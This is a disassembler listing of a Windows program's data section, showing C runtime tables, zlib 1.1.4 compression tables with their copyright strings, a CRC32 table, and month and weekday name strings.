_cvtdate_0+A3r dword_4F1A20 dd 0FFFFFFFFh ; DATA XREF: _cvtdate_0+84r ; _gmtime+79o dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_4F1A50 dd 16Dh ; DATA XREF: ___loctotime_t_0+2Ar ; _cvtdate_0+2Er ... dword_4F1A54 dd 0FFFFFFFFh ; DATA XREF: _cvtdate_0:loc_4CB351r ; _gmtime+80o dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 2 dup(0) byte_4F1A90 db 1 ; DATA XREF: __setmbcp_0+E1r db 2, 4, 8 align 8 dword_4F1A98 dd 3A4h ; DATA XREF: __setmbcp_0+2Fo dword_4F1A9C dd 82798260h ; DATA XREF: __setmbcp_0+11Dr dd 21h, 0 dword_4F1AA8 dd 0DFA6h ; DATA XREF: __setmbcp_0+C0r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4F1B88 dd 2 dup(0) ; DATA XREF: __setmbcp_0+3Co dword_4F1B90 dd 1 ; DATA XREF: __dosmaperr_0+Co dword_4F1B94 dd 16h ; DATA XREF: __dosmaperr_0:loc_4CE256r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_4F1CF8 dd 2 dup(0) ; DATA XREF: __dosmaperr_0+19o off_4F1D00 dd offset sub_490FD0 ; DATA XREF: sub_497D6E+94r ; sub_49B14F+99r ... off_4F1D04 dd offset sub_49129A ; DATA XREF: sub_4A101A+BDr ; sub_4A2806+96r off_4F1D08 dd offset sub_4913D4 ; DATA XREF: sub_495329+B9r ; sub_497F97+B8r ... off_4F1D0C dd offset sub_49170B ; DATA XREF: sub_49CE90+D2r ; sub_49D7B9+A2r ... off_4F1D10 dd offset sub_491849 ; DATA XREF: sub_4955CD+B2r ; sub_495835+D7r ... off_4F1D14 dd offset sub_491B6F ; DATA XREF: sub_497E12+175r ; sub_498394+7Fr ... off_4F1D18 dd offset sub_491DD4 ; DATA XREF: sub_496381+195r ; sub_4985C8+E4r ... off_4F1D1C dd offset sub_491FA2 ; DATA XREF: sub_4953F2+BBr ; sub_495743+E2r ... off_4F1D20 dd offset sub_492229 ; DATA XREF: sub_49B95C+10Fr ; sub_49CF72+8Ar ... off_4F1D24 dd offset sub_4923BD ; DATA XREF: sub_498DD8+D0r ; sub_49B5EE+A0r ... off_4F1D28 dd offset sub_4926F9 ; DATA XREF: sub_496126+9Br ; sub_499ED8+ECr ... off_4F1D2C dd offset sub_4929D0 ; DATA XREF: sub_49591C+9Cr ; sub_495DD2+172r ... off_4F1D30 dd offset sub_492B01 ; DATA XREF: sub_497C2D+8Fr ; sub_4991C7+AFr ... off_4F1D34 dd offset sub_492DB3 ; DATA XREF: sub_4959C8+9Br ; sub_499942+93r ... off_4F1D38 dd offset sub_492F0A ; DATA XREF: sub_495547+76r ; sub_499E2C+9Cr ... off_4F1D3C dd offset sub_493047 ; DATA XREF: sub_499022+DDr ; sub_49AC45+9Fr ... off_4F1D40 dd offset sub_4931BE ; DATA XREF: sub_495F54+C9r ; sub_49805F+71r ... off_4F1D44 dd offset sub_4933E6 ; DATA XREF: sub_495A73+C6r ; sub_4962AA+C7r ... off_4F1D48 dd offset sub_493503 ; DATA XREF: sub_4951DA+85r ; sub_4989E5+9Ar ... off_4F1D4C dd offset sub_49363C ; DATA XREF: sub_495BCB+172r ; sub_49602D+E9r ... off_4F1D50 dd offset sub_49383E ; DATA XREF: sub_497CCC+92r ; sub_49823A+76r ... off_4F1D54 dd offset sub_4939BD ; DATA XREF: sub_49818A+A0r ; sub_499C30+87r ... off_4F1D58 dd offset sub_493AE6 ; DATA XREF: sub_49526F+AAr ; sub_4954BD+7Ar ... off_4F1D5C dd offset sub_493DB7 ; DATA XREF: sub_495B49+72r ; sub_495D4D+75r ... off_4F1D60 dd offset sub_494001 ; DATA XREF: sub_49568F+A4r ; sub_499286+6Er ... off_4F1D64 dd offset sub_494241 ; DATA XREF: sub_4961D1+C9r ; sub_49C74A+8Ar ... off_4F1D68 dd offset sub_494360 ; DATA XREF: sub_49961E+D3r ; sub_49A102+14Fr ... off_4F1D6C dd offset sub_49468A ; DATA XREF: sub_498423+D7r ; sub_49850A+AEr ... off_4F1D70 dd offset sub_49486E ; DATA XREF: sub_4986BC+C6r ; sub_4997AD+185r ... off_4F1D74 dd offset sub_494B14 ; DATA XREF: sub_49512C+9Er ; sub_4980E0+9Ar ... off_4F1D78 dd offset sub_491135 ; DATA XREF: sub_497D6E+Dr ; sub_49B14F+Dr ... off_4F1D7C dd offset sub_491336 ; DATA XREF: sub_4A101A+Dr ; sub_4A2806+Dr off_4F1D80 dd offset sub_49156F ; DATA XREF: sub_495329+Dr ; sub_497F97+Dr ... off_4F1D84 dd offset sub_4917A9 ; DATA XREF: sub_49CE90+Dr ; sub_49F081+Dr ... off_4F1D88 dd offset sub_4919DC ; DATA XREF: sub_4955CD+Dr ; sub_495835+Dr ... off_4F1D8C dd offset sub_491CA1 ; DATA XREF: sub_497E12+Dr ; sub_498394+Dr ... off_4F1D90 dd offset sub_491EBB ; DATA XREF: sub_496381+Dr ; sub_4985C8+Dr ... off_4F1D94 dd offset sub_4920E6 ; DATA XREF: sub_4953F2+Dr ; sub_495743+Dr ... off_4F1D98 dd offset sub_4922F2 ; DATA XREF: sub_49B95C+Dr ; sub_49CF72+Dr ... off_4F1D9C dd offset sub_49255B ; DATA XREF: sub_498DD8+Dr ; sub_49B5EE+Dr ... off_4F1DA0 dd offset sub_492865 ; DATA XREF: sub_496126+Dr ; sub_499ED8+Dr ... off_4F1DA4 dd offset sub_492A69 ; DATA XREF: sub_49591C+Dr ; sub_495DD2+Dr ... off_4F1DA8 dd offset sub_492C5B ; DATA XREF: sub_497C2D+Dr ; sub_4991C7+Dr ... off_4F1DAC dd offset sub_492E5E ; DATA XREF: sub_4959C8+Dr ; sub_499942+Dr ... off_4F1DB0 dd offset sub_492FA8 ; DATA XREF: sub_495547+Dr ; sub_499E2C+Dr ... off_4F1DB4 dd offset sub_493102 ; DATA XREF: sub_499022+Dr ; sub_49AC45+Dr ... off_4F1DB8 dd offset sub_4932D2 ; DATA XREF: sub_495F54+Dr ; sub_49BB7F+Dr ... off_4F1DBC dd offset sub_493474 ; DATA XREF: sub_495A73+Dr ; sub_4962AA+Dr ... off_4F1DC0 dd offset sub_49359E ; DATA XREF: sub_4951DA+Dr ; sub_4989E5+Dr ... off_4F1DC4 dd offset sub_49373C ; DATA XREF: sub_495BCB+Dr ; sub_49602D+Dr ... off_4F1DC8 dd offset sub_4938FD ; DATA XREF: sub_497CCC+Dr ; sub_49823A+Dr ... off_4F1DCC dd offset sub_493A51 ; DATA XREF: sub_49818A+Dr ; sub_499C30+Dr ... off_4F1DD0 dd offset sub_493C4E ; DATA XREF: sub_49526F+Dr ; sub_4954BD+Dr ... off_4F1DD4 dd offset sub_493EDB ; DATA XREF: sub_495B49+Dr ; sub_498A8F+Dr ... off_4F1DD8 dd offset sub_494121 ; DATA XREF: sub_49568F+Dr ; sub_4999E5+Dr ... off_4F1DDC dd offset sub_4942D0 ; DATA XREF: sub_4961D1+Dr ; sub_49C74A+Dr ... off_4F1DE0 dd offset sub_4944F6 ; DATA XREF: sub_49961E+Dr ; sub_49A102+Dr ... off_4F1DE4 dd offset sub_49477C ; DATA XREF: sub_498423+Dr ; sub_49850A+Dr ... off_4F1DE8 dd offset sub_4949C1 ; DATA XREF: sub_4986BC+Dr ; sub_4997AD+Dr ... off_4F1DEC dd offset sub_494C6D ; DATA XREF: sub_49512C+Dr ; sub_4980E0+Dr ... byte_4F1DF0 db 1Bh ; DATA XREF: sub_4A363D+B9r ; sub_4A363D+DFr ... align 2 dw 110Ah dd 18130211h, 16111519h, 120E130Fh, 14101303h, 1914150Bh dd 310031Ch, 70A0810h, 16081D0Eh, 4171307h, 41D1512h, 6031D13h dd 6180611h, 11050405h, 5131B12h, 19161118h, 120A1000h dd 5181011h, 60E1010h, 60516h, 0C170A12h, 81A1A1Bh, 1D080B16h dd 18161A11h, 0A0E070Ah, 160A130Eh, 41C0014h, 0D110B09h dd 180D1D00h, 1C0E0906h, 0C161516h, 6021909h, 1D080709h dd 51C0B12h, 0A16111Bh, 190A1206h, 5091A04h, 1B0C1D19h dd 0A0F150Dh, 50B0500h, 190B0E1Bh, 206070Dh, 1B070019h dd 110E0D0Fh, 0F05170Bh, 1311051Ah, 17131204h, 0D14030Dh dd 60E161Ch, 1A041202h, 1B1D1B17h, 140A1909h, 0B0A071Ah dd 140E031Ah, 170D150Ah, 0A051412h, 7020102h, 0D1A0B01h dd 1A090C05h, 0D031D06h, 80C1C11h, 1702151Bh, 18080E16h dd 0 dword_4F1EF0 dd 0FFFFFFFFh, 4B5BC4h, 4B5BE6h, 0 ; DATA XREF: .text:004B5670o off_4F1F00 dd offset sub_490FD0 ; DATA XREF: .text:004BB299r dd offset sub_49129A dd offset sub_4913D4 dd offset sub_49170B dd offset sub_491849 dd offset sub_491B6F dd offset sub_491DD4 dd offset sub_491FA2 dd offset sub_492229 dd offset sub_4923BD dd offset sub_4926F9 dd offset sub_4929D0 dd offset sub_492B01 dd offset sub_492DB3 dd offset sub_492F0A dd offset sub_493047 dd offset sub_4931BE dd offset sub_4933E6 dd offset sub_493503 dd offset sub_49363C dd offset sub_49383E dd offset sub_4939BD dd offset sub_493AE6 dd offset sub_493DB7 dd offset sub_494001 dd offset sub_494241 dd offset sub_494360 dd offset sub_49468A dd offset sub_49486E db 14h, 4Bh, 49h byte_4F1F77 db 0 ; DATA XREF: .text:004BA14Fr ; .text:004BA663r byte_4F1F78 db 0Ah ; DATA XREF: .text:004BA15Dr ; .text:004BA2F5r ... byte_4F1F79 db 9 ; DATA XREF: .text:004BA179r ; .text:004BA223r ... byte_4F1F7A db 0Ch ; DATA XREF: .text:004BA231r ; .text:004BA339r ... byte_4F1F7B db 0Bh ; DATA XREF: .text:004BA24Dr ; .text:004BA761r dd 4211805h, 0E22h, 0 dword_4F1F88 dd 0FFFFFFFFh, 4B7C62h, 4B7C68h, 0 ; DATA XREF: sub_4B78A3+5o dword_4F1F98 dd 0FFFFFFFFh, 4BC0F0h, 4BC101h, 0 ; DATA XREF: .text:004B84DFo aDeflate1_1_4Co db ' deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly ',0 align 10h word_4F1FE0 dw 0 ; DATA XREF: .text:004BEB5Er ; sub_4BF3A2+63r word_4F1FE2 dw 0 ; DATA XREF: .text:004BEB49r ; sub_4BF3A2+4Br word_4F1FE4 dw 0 ; DATA XREF: .text:004BEB76r ; sub_4BF3A2+7Er word_4F1FE6 dw 0 ; DATA XREF: .text:004BEB8Er ; sub_4BF3A2+99r off_4F1FE8 dd offset sub_4BF490 ; DATA XREF: .text:004BEAF9r ; .text:004BEB0Br ... dd 40004h, 40008h, 4BF9A3h, 50004h, 80010h, 4BF9A3h, 60004h dd 200020h, 4BF9A3h, 40004h, 100010h, 4C0229h, 100008h dd 200020h, 4C0229h, 100008h, 800080h, 4C0229h, 200008h dd 1000080h, 4C0229h, 800020h, 4000102h, 4C0229h, 1020020h dd 10000102h, 4C0229h byte_4F2058 db 0 ; DATA XREF: .text:004C138Cr align 2 dw 0FFFFh dword_4F205C dd 0 ; DATA XREF: .text:004C1493o ; sub_4C149A+3Ar ... dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_4F245C dd 0 ; DATA XREF: sub_4C4162+2EEr ; .data:004EDF1Co dd 7 dup(0) dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 dword_4F24D0 dd 0 ; DATA XREF: sub_4C4162+5A4r ; .data:004EDF34o align 10h dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh) dword_4F2548 dd 10h dup(0) ; DATA XREF: .data:004EDF4Co dd 2, 3, 7 byte_4F2594 db 10h ; DATA XREF: sub_4C2DE5+76r ; sub_4C3039+3BAr ... db 11h, 12h, 0 dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh dword_4F25A8 dd 8000Ch, 8008Ch, 8004Ch, 800CCh, 8002Ch, 800ACh, 8006Ch ; DATA XREF: sub_4C20F2+213o ; .data:off_4EDF18o dd 800ECh, 8001Ch, 8009Ch, 8005Ch, 800DCh, 8003Ch, 800BCh dd 8007Ch, 800FCh, 80002h, 80082h, 80042h, 800C2h, 80022h dd 800A2h, 80062h, 800E2h, 80012h, 80092h, 80052h, 800D2h dd 80032h, 800B2h, 80072h, 800F2h, 8000Ah, 8008Ah, 8004Ah dd 800CAh, 8002Ah, 800AAh, 8006Ah, 800EAh, 8001Ah, 8009Ah dd 8005Ah, 800DAh, 8003Ah, 800BAh, 8007Ah, 800FAh, 80006h dd 80086h, 80046h, 800C6h, 80026h, 800A6h, 80066h, 800E6h dd 80016h, 80096h, 80056h, 800D6h, 80036h, 800B6h, 80076h dd 800F6h, 8000Eh, 8008Eh, 8004Eh, 800CEh, 8002Eh, 800AEh dd 8006Eh, 800EEh, 8001Eh, 8009Eh, 8005Eh, 800DEh, 8003Eh dd 800BEh, 8007Eh, 800FEh, 80001h, 80081h, 80041h, 800C1h dd 80021h, 800A1h, 80061h, 800E1h, 80011h, 80091h, 80051h dd 800D1h, 80031h, 800B1h, 80071h, 800F1h, 80009h, 80089h dd 80049h, 800C9h, 80029h, 800A9h, 80069h, 800E9h, 80019h dd 80099h, 80059h, 800D9h, 80039h, 800B9h, 80079h, 800F9h dd 80005h, 80085h, 80045h, 800C5h, 80025h, 800A5h, 80065h dd 800E5h, 80015h, 80095h, 80055h, 800D5h, 80035h, 800B5h dd 80075h, 800F5h, 8000Dh, 8008Dh, 8004Dh, 800CDh, 8002Dh dd 800ADh, 8006Dh, 800EDh, 8001Dh, 8009Dh, 8005Dh, 800DDh dd 8003Dh, 800BDh, 8007Dh, 800FDh, 90013h, 90113h, 90093h dd 90193h, 90053h, 90153h, 900D3h, 901D3h, 90033h, 90133h dd 900B3h, 901B3h, 90073h, 90173h, 900F3h, 901F3h, 9000Bh dd 9010Bh, 9008Bh, 9018Bh, 9004Bh, 9014Bh, 900CBh, 901CBh dd 9002Bh, 9012Bh, 900ABh, 901ABh, 9006Bh, 9016Bh, 900EBh dd 901EBh, 9001Bh, 9011Bh, 9009Bh, 9019Bh, 9005Bh, 9015Bh dd 900DBh, 901DBh, 9003Bh, 9013Bh, 900BBh, 901BBh, 9007Bh dd 9017Bh, 900FBh, 901FBh, 90007h, 90107h, 90087h, 90187h dd 90047h, 90147h, 900C7h, 901C7h, 90027h, 90127h, 900A7h dd 901A7h, 90067h, 90167h, 900E7h, 901E7h, 90017h, 90117h dd 90097h, 90197h, 90057h, 90157h, 900D7h, 901D7h, 90037h dd 90137h, 900B7h, 901B7h, 90077h, 90177h, 900F7h, 901F7h dd 9000Fh, 9010Fh, 9008Fh, 9018Fh, 9004Fh, 9014Fh, 900CFh dd 901CFh, 9002Fh, 9012Fh, 900AFh, 901AFh, 9006Fh, 9016Fh dd 900EFh, 901EFh, 9001Fh, 9011Fh, 9009Fh, 9019Fh, 9005Fh dd 9015Fh, 900DFh, 901DFh, 9003Fh, 9013Fh, 900BFh, 901BFh dd 9007Fh, 9017Fh, 900FFh, 901FFh word_4F29A8 dw 0 ; DATA XREF: sub_4C1C03+14Br ; sub_4C1C03+217r ... word_4F29AA dw 7 ; DATA XREF: sub_4C1C03+129r ; sub_4C1C03+3A4r a@_0: unicode 0, <@> dw 7 unicode 0, < > dw 7 unicode 0, <`> dw 7 dd 70010h, 70050h, 70030h, 70070h, 70008h, 70048h, 70028h dd 70068h, 70018h, 70058h, 70038h, 70078h, 70004h, 70044h dd 70024h, 70064h, 70014h, 70054h, 70034h, 70074h, 80003h dd 80083h, 80043h, 800C3h, 80023h, 800A3h, 80063h, 800E3h dword_4F2A28 dd 50000h, 50010h, 50008h, 50018h, 50004h, 50014h, 5000Ch ; DATA XREF: sub_4C20F2:loc_4C2300o ; .data:off_4EDF30o dd 5001Ch, 50002h, 50012h, 5000Ah, 5001Ah, 50006h, 50016h dd 5000Eh, 5001Eh, 50001h, 50011h, 50009h, 50019h, 50005h dd 50015h, 5000Dh, 5001Dh, 50003h, 50013h, 5000Bh, 5001Bh dd 50007h, 50017h byte_4F2AA0 db 0 ; DATA XREF: .text:004BFB80r ; .text:004C049Dr ... db 1, 2, 3 dd 5050404h, 6060606h, 7070707h, 2 dup(8080808h), 2 dup(9090909h) dd 4 dup(0A0A0A0Ah), 4 dup(0B0B0B0Bh), 8 dup(0C0C0C0Ch) dd 8 dup(0D0D0D0Dh), 10h dup(0E0E0E0Eh), 10h dup(0F0F0F0Fh) byte_4F2BA0 db 0 ; DATA XREF: .text:004BFB99r ; .text:004C04B6r ... align 2 dw 1110h dd 13131212h, 14141414h, 15151515h, 2 dup(16161616h), 2 dup(17171717h) dd 4 dup(18181818h), 4 dup(19191919h), 8 dup(1A1A1A1Ah) dd 8 dup(1B1B1B1Bh), 10h dup(1C1C1C1Ch), 10h dup(1D1D1D1Dh) byte_4F2CA0 db 0 ; DATA XREF: .text:004BFB34r ; .text:004BFB54r ... db 1, 2, 3 dd 7060504h, 9090808h, 0B0B0A0Ah, 0C0C0C0Ch, 0D0D0D0Dh dd 0E0E0E0Eh, 0F0F0F0Fh, 2 dup(10101010h), 2 dup(11111111h) dd 2 dup(12121212h), 2 dup(13131313h), 4 dup(14141414h) dd 4 dup(15151515h), 4 dup(16161616h), 4 dup(17171717h) dd 8 dup(18181818h), 8 dup(19191919h), 8 dup(1A1A1A1Ah) dd 7 dup(1B1B1B1Bh), 1C1B1B1Bh dword_4F2DA0 dd 0 ; DATA XREF: sub_4C4162+308r dd 1, 2, 3, 4, 5, 6, 7, 8, 0Ah, 0Ch, 0Eh, 10h, 14h, 18h dd 1Ch, 20h, 28h, 30h, 38h, 40h, 50h, 60h, 70h, 80h, 0A0h dd 0C0h, 0E0h, 0 dword_4F2E14 dd 0 ; DATA XREF: sub_4C4162+5BEr dd 1, 2, 3, 4, 6, 8, 0Ch, 10h, 18h, 20h, 30h, 40h, 60h dd 80h, 0C0h, 100h, 180h, 200h, 300h, 400h, 600h, 800h dd 0C00h, 1000h, 1800h, 2000h, 3000h, 4000h, 6000h dword_4F2E8C dd 10h ; DATA XREF: sub_4C4F0F+9D9r ; sub_4C4F0F+A1Er dd 11h, 12h, 0 dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1 dd 0Fh aInflate1_1_4Co db ' inflate 1.1.4 Copyright 1995-2002 Mark Adler ',0 align 4 dword_4F2F08 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h ; DATA XREF: sub_4C7A96+50o dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0) dword_4F2F84 dd 8 dup(0) ; DATA XREF: sub_4C7A96+4Bo dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 dd 2 dup(70h) dword_4F3000 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h ; DATA XREF: sub_4C7A96+D9o dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h dword_4F3078 dd 4 dup(0) ; DATA XREF: sub_4C7A96+D4o dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh) aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:004EF340o aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:004EF33Co aMDYy db 'M/d/yy',0 ; DATA XREF: .data:004EF338o align 4 aPm_0 db 'PM',0 ; DATA XREF: .data:004EF334o align 4 aAm_0 db 'AM',0 ; DATA XREF: .data:004EF330o align 4 aDecember_0 db 'December',0 ; DATA XREF: .data:004EF32Co align 4 aNovember_0 db 'November',0 ; DATA XREF: .data:004EF328o align 4 aOctober db 'October',0 ; DATA XREF: .data:004EF324o aSeptember db 'September',0 ; DATA XREF: .data:004EF320o align 4 aAugust db 'August',0 ; DATA XREF: .data:004EF31Co align 10h aJuly db 'July',0 ; DATA XREF: .data:004EF318o align 4 aJune_0 db 'June',0 ; DATA XREF: .data:004EF314o align 10h aApril_0 db 'April',0 ; DATA XREF: .data:004EF30Co align 4 aMarch db 'March',0 ; DATA XREF: .data:004EF308o align 10h aFebruary db 'February',0 ; DATA XREF: .data:004EF304o align 4 aJanuary db 'January',0 ; DATA XREF: .data:004EF300o aDec db 'Dec',0 ; DATA XREF: .data:004EF2FCo aNov db 'Nov',0 ; DATA XREF: .data:004EF2F8o aOct db 'Oct',0 ; DATA XREF: .data:004EF2F4o aSep db 'Sep',0 ; DATA XREF: .data:004EF2F0o aAug db 'Aug',0 ; DATA XREF: .data:004EF2ECo aJul db 'Jul',0 ; DATA XREF: .data:004EF2E8o aJun db 'Jun',0 ; DATA XREF: .data:004EF2E4o aMay db 'May',0 ; DATA XREF: .data:004EF2E0o ; .data:004EF310o aApr db 'Apr',0 ; DATA XREF: .data:004EF2DCo aMar db 'Mar',0 ; DATA XREF: .data:004EF2D8o aFeb db 'Feb',0 ; DATA XREF: .data:004EF2D4o aJan db 'Jan',0 ; DATA XREF: .data:004EF2D0o aSaturday_0 db 'Saturday',0 ; DATA XREF: .data:004EF2CCo align 10h aFriday_0 db 'Friday',0 ; DATA XREF: .data:004EF2C8o align 4 aThursday_0 db 'Thursday',0 ; DATA XREF: .data:004EF2C4o align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .data:004EF2C0o align 10h aTuesday_0 db 'Tuesday',0 ; DATA XREF: .data:004EF2BCo aMonday_0 db 'Monday',0 ; DATA XREF: .data:004EF2B8o align 10h aSunday_0 db 'Sunday',0 ; DATA XREF: .data:004EF2B4o align 4 aSat db 'Sat',0 ; DATA XREF: .data:004EF2B0o aFri db 'Fri',0 ; DATA XREF: .data:004EF2ACo aThu db 'Thu',0 ; DATA XREF: .data:004EF2A8o aWed db 'Wed',0 ; DATA XREF: .data:004EF2A4o aTue db 'Tue',0 ; DATA XREF: .data:004EF2A0o byte_4F320C db 4Dh ; DATA XREF: __output_0+4Ar ; .data:004EF29Co db 6Fh, 6Eh, 0 dword_4F3210 dd 6E7553h ; DATA XREF: .data:off_4EF298o dword_4F3214 dd 702F61h ; DATA XREF: __store_winword:loc_4C9DF6o aAmPm db 'am/pm',0 ; DATA XREF: __store_winword:loc_4C9DE0o align 10h dword_4F3220 dd 0FFFFFFFFh, 4CA1E2h, 4CA1F6h ; DATA XREF: start+5o byte_4F322C db 6 ; DATA XREF: __output_0:loc_4CA582r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_1: ; DATA XREF: .data:off_4EF350o unicode 0, <(null)>,0 align 4 